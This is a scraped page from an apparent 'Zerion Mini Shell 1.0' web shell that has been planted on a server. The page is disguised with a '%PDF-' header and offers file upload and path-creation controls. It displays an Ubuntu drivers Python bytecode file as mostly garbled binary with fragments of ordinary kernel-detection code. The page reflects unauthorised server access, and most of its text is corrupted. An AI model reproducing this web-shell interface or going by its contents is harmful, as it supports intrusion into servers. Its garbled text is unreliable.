%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/UbuntuDrivers/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/UbuntuDrivers/__pycache__/kerneldetection.cpython-312.pyc

�

"�d���>�ddlZddlZddlZddlmZGd�de�Zy)�N)�Popenc�D�eZdZdd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zy)�KernelDetectionNc��|r"||_tj|�|_ytj�tj
�tjd�|_tj|�|_y�N)�	apt_cache�apt_pkg�DepCache�apt_depcache�init_config�init_system�Cache)�self�caches  �?/usr/lib/python3/dist-packages/UbuntuDrivers/kerneldetection.py�__init__zKernelDetection.__init__ sZ���"�D�N� '� 0� 0�� 7�D�����!����!�$�]�]�4�0�D�N� '� 0� 0�� 7�D��c��tjd�}|j|�}|j|�}|rJ|jd��d|jd���}|jd��d|jd���}t	j
d|�d|���d|�d|��}t
|jd	��}|j�|jS)
Nz(.+)-([0-9]+)-(.+)��-�z
Comparing z with zdpkg --compare-versions z gt � )
�re�compile�match�group�logging�debugr�split�communicate�
returncode)r�term1�term2�pattern�match1�match2�command�processs        r�_is_greater_thanz KernelDetection._is_greater_than*s����*�*�1�2�����u�%�����u�%���%�|�|�A��%�|�|�A��0�E�%�|�|�A��%�|�|�A��0�E�	�
�
��u�=�>��%�!����
�
�c�*�+�������%�%�%�%rc�|�tjd�}|j|�}d}|r|jd�}|S)Nz2linux-image-([0-9]+\.[0-9]+\.[0-9]+)-([0-9]+)-(.+)��)rrrr)r�
candidates�imager$r�flavours      r�_get_linux_flavourz"KernelDetection._get_linux_flavour=s9���*�*�R�S���
�
�e�$������k�k�!�n�G��rc��|j}|jd�r-d|vr)|js|jj	|�r|Sy)N�linux-image�extra)�name�
startswith�current_verr�marked_install)r�pkg�package_names   r�
_filter_cachezKernelDetection._filter_cacheFsD���x�x���#�#�M�2��<�'�S�_�_�-1�->�->�-M�-M�c�-R���rc���d}d}d}d|dk(rdndz}tjd�}t|j|jj
�D]f}|s�|j
|�}|s�|jd�}	|jd��d|jd	���}
|j|
|�s�c|
}|	}�h|�r�|dk(r|jdd�}n|}|j|jD�cgc]=}|jjj|�r|jj��?}
}|
�rd}|
D]s}	|j|}|j|�rP|rN|js|jj!|�r'|j|d�|j|d�kDr|}�u|d
k(r�|j|jD�cgc]=}|jjjd�r|jj��?}
}|
r>|j%|
|�}d}|
D]}|jd|z�s�|}n|s|
d}|S|}|Scc}w#t"$rY��-wxYwcc}w)
z7Get the linux headers, linux-image or linux metapackager+zlinux-%s�headersr.z,linux-image-(?:unsigned-)?(.+)-([0-9]+)-(.+)rrrr�metazlinux-z	linux-%s-)rr�mapr:r�packagesrrr)�replace�rev_depends_list�
parent_pkgr4r5r6rr7�KeyErrorr0)r�target�metapackage�
image_package�version�prefixr$r9r�current_package�current_version�target_package�dep�reverse_dependencies�	candidate�
candidate_pkgr/�
linux_metar=s                   r�_get_linux_metapackagez&KernelDetection._get_linux_metapackageOs������
����F�i�,?�y�W�M���*�*�K�L���� 2� 2�D�N�N�4K�4K�L�	8�L���
�
�l�3���&+�k�k�!�n�O�16���Q��16���Q��'A�O��,�,�_�-4�6�"1��(7�
�	8� ���"�!.�!6�!6�w�	�!J��!.��CG�>�>�R`�Ca�%5�%5�$a�C�9<���9L�9L�9W�9W�X^�9_�%(�N�N�$7�$7�$a� �$a�$�!��!5�!�I�!�(,���y�(A�
�%�0�0��8�m�)�5�5��9J�9J�9Y�9Y�Zg�9h�$�,�,�V�R�8�;�;N�;N�v�WY�;Z�Z�*3�K��
!��V�#�KO�>�>�Ze�Kf�-=�-=�,k�C�AD���AT�AT�A_�A_�`h�Ai�-0�N�N�,?�,?�,k�(�,k�+�"&�"9�"9�:N�P^�"_��%'�
�$8�&�D�#���{�g�/F�G�-1�
� %�	&� *�*>�q�*A�K���+5�K����G$a��$�!� �!��
,ks!�3AI�A0I�AI/�	I,�+I,c�$�|jd�S)�5Get the linux headers for the newest_kernel installedr<�rQ�rs r�get_linux_headers_metapackagez-KernelDetection.get_linux_headers_metapackage�s���*�*�9�5�5rc�$�|jd�S)rSr.rTrUs r�get_linux_image_metapackagez+KernelDetection.get_linux_image_metapackage�s���*�*�7�3�3rc�$�|jd�S)z9Get the linux metapackage for the newest_kernel installedr=rTrUs r�get_linux_metapackagez%KernelDetection.get_linux_metapackage�s���*�*�6�2�2rc��|j�}d}	|jj|j|�}|jjd�D]@}|D]9\}}}|j
d�s�|j�jdd�}�@�B	|S#t$rtjd|z�YywxYw)Nr+�Dependsr2zlinux-image-z#No dependencies can be found for %s)rXr�get_candidate_verr�depends_list_str�getr5�stripr@rCr�error)r�linux_image_meta�
linux_versionrN�dep_list�dep_name�dep_ver�dep_ops        r�get_linux_versionz!KernelDetection.get_linux_version�s����;�;�=���
�	��)�)�;�;�D�N�N�K[�<\�]�I�%�6�6�:�:�9�E�
��19��-�H�g�v��*�*�=�9�(0���(8�(@�(@��QS�(T�
���
�$����	��M�M�?�CS�T�U��	�s�A B�5%B�!C�Cr)�__name__�
__module__�__qualname__rr)r0r:rQrVrXrZrh�rrrrs1��8�&�&��B�H6�4�3�rr)r	rr�
subprocessr�objectrrlrr�<module>ros!��.��	��Z�f�Zr

Zerion Mini Shell 1.0